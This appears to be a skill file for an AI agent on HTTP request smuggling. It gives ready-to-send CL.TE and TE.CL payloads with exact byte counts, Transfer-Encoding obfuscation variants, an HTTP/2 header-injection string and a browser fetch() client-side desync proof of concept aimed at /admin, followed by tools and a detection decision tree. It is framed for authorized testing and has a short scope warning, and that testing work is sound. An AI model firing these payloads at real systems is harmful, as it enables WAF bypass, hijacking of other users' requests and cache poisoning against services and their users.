SKILL.md
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POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED- Front end reads only 13 bytes based on
Content-Length: 13(that is,0\r\n\r\nSMUGGLED, 13 bytes total) and considers the request complete.
- Back end parses as chunked: after the
0end chunk, it treats **SMUGGLEDand onward as the start byte stream of the next request**.
TE.CL first probe (front-end trusts chunked, back-end trusts CL)
Assumption: front end parses chunked and back end only reads Content-Length. Set CL equal to the number of bytes in the chunk-length line (commonly 4: two hex characters + \r\n), so the back end consumes only the length line and leaves the rest buffered for follow-up request splicing.
Embed a second request in the chunk (all line endings are CRLF; 35 hex chunk length = 53 bytes):
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0On the wire, the chunk body must be exactly 53 bytes; if you change path/headers, recalculate chunk length and update the hex length line accordingly.
Safety note
Test only within authorized scope; concurrent smuggling can poison connection pools, corrupt caches, or impact other tenants. Prefer isolated environments or low-traffic windows.
1. CORE CONCEPT
Definition: two (or more) HTTP processing entities disagree on where request one ends and request two begins in the same TCP/TLS stream, allowing an attacker to include a partial or full second request inside one logical request.
Client Front (proxy/WAF) Back (origin)
| | |
|==== Request A+B ===>| |
| | parses boundary #1 | parses boundary #2
| | \ | /
| | different split points
| | |
v v v
Request A (seen) Request A' + smuggled BDifference from CRLF injection: CRLF usually injects into responses or header lines; smuggling targets implementation differences in RFC 7230 message framing (Content-Length / chunked).
High-value impact: WAF rule bypass (smuggled body not visible in front-end request), hijacking other users' requests on shared-origin connections (queue poisoning), cache-poisoning assistance, and authentication-boundary confusion.
2. CL.TE VULNERABILITIES
Pattern: front end trusts **Content-Length; back end trusts Transfer-Encoding: chunked**.
Exact example (same as §0): Content-Length: 13 and Transfer-Encoding: chunked both exist, body is:
0\r\n\r\nSMUGGLEDByte count: 0 + \r\n + \r\n + SMUGGLED = 13.
Back-end perspective: the chunked stream ends at 0\r\n\r\n; if SMUGGLED starts with METHOD SP or another valid request prefix, it becomes a smuggled request-line prefix.
Tuning: if the target is sensitive to duplicate headers, casing, or spaces, minimally adjust Transfer-Encoding variants (see §4) while preserving semantics to match a combo where front end ignores TE and back end executes TE.
3. TE.CL VULNERABILITIES
Pattern: front end parses chunked; back end only reads **Content-Length** (or too-short CL).
Intent: front end treats the whole malicious byte stream as body; back end reads only CL length, leaving remaining bytes buffered to splice with later legitimate requests.
Full TE.CL with embedded second request (same family as §0; Content-Length: 4 + first chunk-length line 35\r\n):
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0Explanation:
- Back end (CL): reads only 4 bytes from the message body start ->
35\r\n, marks body complete, and leaves the remaining bytes in the TCP read buffer.
- Front end (TE): parses full stream as chunked and forwards/consumes
GET /admin...as body content of the already-closed first request (product-dependent); mismatch with back-end boundary interpretation forms TE.CL.
For longer smuggling (e.g., POST + Content-Length: 11 + x=1), chunk length is about 76 (hex 0x76 = 118 bytes); Content-Length: 4 can still pin the back end to reading only the length line.
Practical notes: chunk length must be valid hex; second request must meet target expectations for Host, path, and session cookie; timing window and connection-reuse strategy determine whether you hit another user's request.
4. TE.TE VULNERABILITIES
Pattern: both front and back claim to process Transfer-Encoding, but differ on which TE value is effective or valid -> still producing equivalent desync where one side sees chunked and the other does not.
Use the following 8 obfuscation variants to probe parser differentials (single-line display; \t means a real TAB):
Transfer-Encoding: xchunkedTransfer-Encoding : chunkedTransfer-Encoding: chunked
Transfer-Encoding: chunkedTransfer-Encoding: xTransfer-Encoding:[TAB]chunked(Replace [TAB] with real \x09.)
Transfer-Encoding: chunked(One leading space at line start.)
X: X
Transfer-Encoding: chunked(Previous line value is X and next line starts with Transfer-Encoding: this uses line continuation / lenient header parsing so one hop may merge or split lines incorrectly; separator between X and Transfer-Encoding may be \n or \r\n depending on the target stack.)
Transfer-Encoding
: chunked(Field name and colon are on different physical lines; some parsers still treat it as valid Transfer-Encoding: chunked.)
Strategy: for each (front, back) pair, enumerate which side accepts each variant as chunked, then map to equivalent CL.TE or TE.CL using §2/§3.
5. HTTP/2 REQUEST SMUGGLING
H2 -> H1 Downgrade
Common scenario: edge supports HTTP/2 and origin uses HTTP/1.1. If implementation does not strictly normalize header fields and body boundaries, you may observe:
- incorrect pseudo-header to regular-header mapping order;
- forbidden headers (such as some
Connectioncombinations) forwarded incorrectly;
- duplicate-header merge rules inconsistent with the origin.
Pseudo-header / header-injection smuggling (concept payload)
Attack surface comes from downstream H1 parsers treating certain bytes as the start of a new request. A common research/CTF approach is to place near-request bytes inside header values that one layer ignores but another treats literally:
header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: targetMeaning: if one hop keeps the full string in a header value and the next hop mis-splits during H1 reconstruction, parsing may start a new GET / HTTP/1.1 at \r\n\r\n.
Testing directions:
- duplicate and case handling for
Transfer-Encoding/Content-Lengthin H2 (H2 requires lowercase, but translation layers can fail);
- downgrade behavior when
:methodor:pathincludes abnormal characters;
- interactions between tunneling or extended CONNECT and smuggling.
6. CLIENT-SIDE DESYNC
Scenario: browser request-body handling differs from middleware/origin, or **no-cors + preflight exemptions** permit atypical messages that create queue effects similar to classic CL.TE/TE.CL (architecture-dependent).
HEAD + GET chain: some stacks historically mishandle HEAD response bodies, later pipelining, or connection reuse; validate with concrete browser versions and target proxy behavior.
JavaScript PoC shape (illustrative: set body to raw bytes containing GET, with no-cors and credentials):
fetch("https://target.example/vulnerable", {
method: "POST",
mode: "no-cors",
credentials: "include",
body: "GET /admin HTTP/1.1\r\nHost: target.example\r\n\r\n"
});Note: browser security model limits direct readability; success often appears as side effects on other requests over the same connection or as abnormal server logs/behavior, not direct response reading. Evaluate with SOP, CORS, and extension/proxy factors.
7. TOOLS
Tool
Purpose
Burp Suite — HTTP Request Smuggler (BApp Store)
Automated desync detection, common variants, timing-delta checks
defparam/smuggler (GitHub)
Python scripts for batch generation/sending of smuggling probes
dhmosfunk/simple-http-smuggler-generator (GitHub)
Quickly assemble raw CL.TE / TE.CL message templates
Usage advice: first passively confirm a front-end + origin two-hop path, then select minimally disruptive probes, and lower concurrency in production.
8. DETECTION DECISION TREE
Start: reverse proxy / CDN in path?
|
NO -------------+------------- YES
| |
Low classic smuggling |
(still test H2 desync) v
Can you send TE + CL together?
|
NO -------------------+------------------- YES
| |
Test H2-only issues Front prefers which?
(pseudo-header, reset) |
+-------------------------------+-------------------------------+
| | |
CL wins TE wins errors /
| | connection
v v |
CL.TE probes TE.CL probes TE.TE obfuscation
(Sec 0,2) (Sec 0,3) (Sec 4)
| | |
v v v
Time / content / Adjust chunk Pairwise matrix:
queue poisoning sizes + CL which hop accepts
signals? alignment which variant?
| | |
+-------------------------------+-------------------------------+
|
v
Confirm with second request
smuggled (replay-safe)
or Collaborator-style side signalAdvanced Reference
Also load H2_SMUGGLING_VARIANTS.md when you need:
- H2.CL and H2.TE variants with byte-level payload examples
- CL.0 (connection close desync) — technique and detection
- Fat GET request smuggling (body in GET request)
- Request smuggling → cache poisoning chain (response queue misalignment)
- Client-side desync (CSD) via browser Fetch API with JavaScript PoC templates
- CDN/reverse proxy product behavior matrix (HAProxy, Nginx, Apache, Cloudflare, AWS ALB, Envoy, Varnish, etc.)
12. RELATED ROUTING
- Input enters interpreter/query language/template (not HTTP framing) -> Injection Testing Router (then drill down into XSS, SQLi, SSTI, etc.).
- Response header splitting / Location CRLF -> CRLF Injection.
- Cache and path-key confusion -> Web Cache Deception.
Once confirmed as an HTTP message-boundary issue rather than parameter injection, stay in this skill to avoid misrouting into general injection workflows.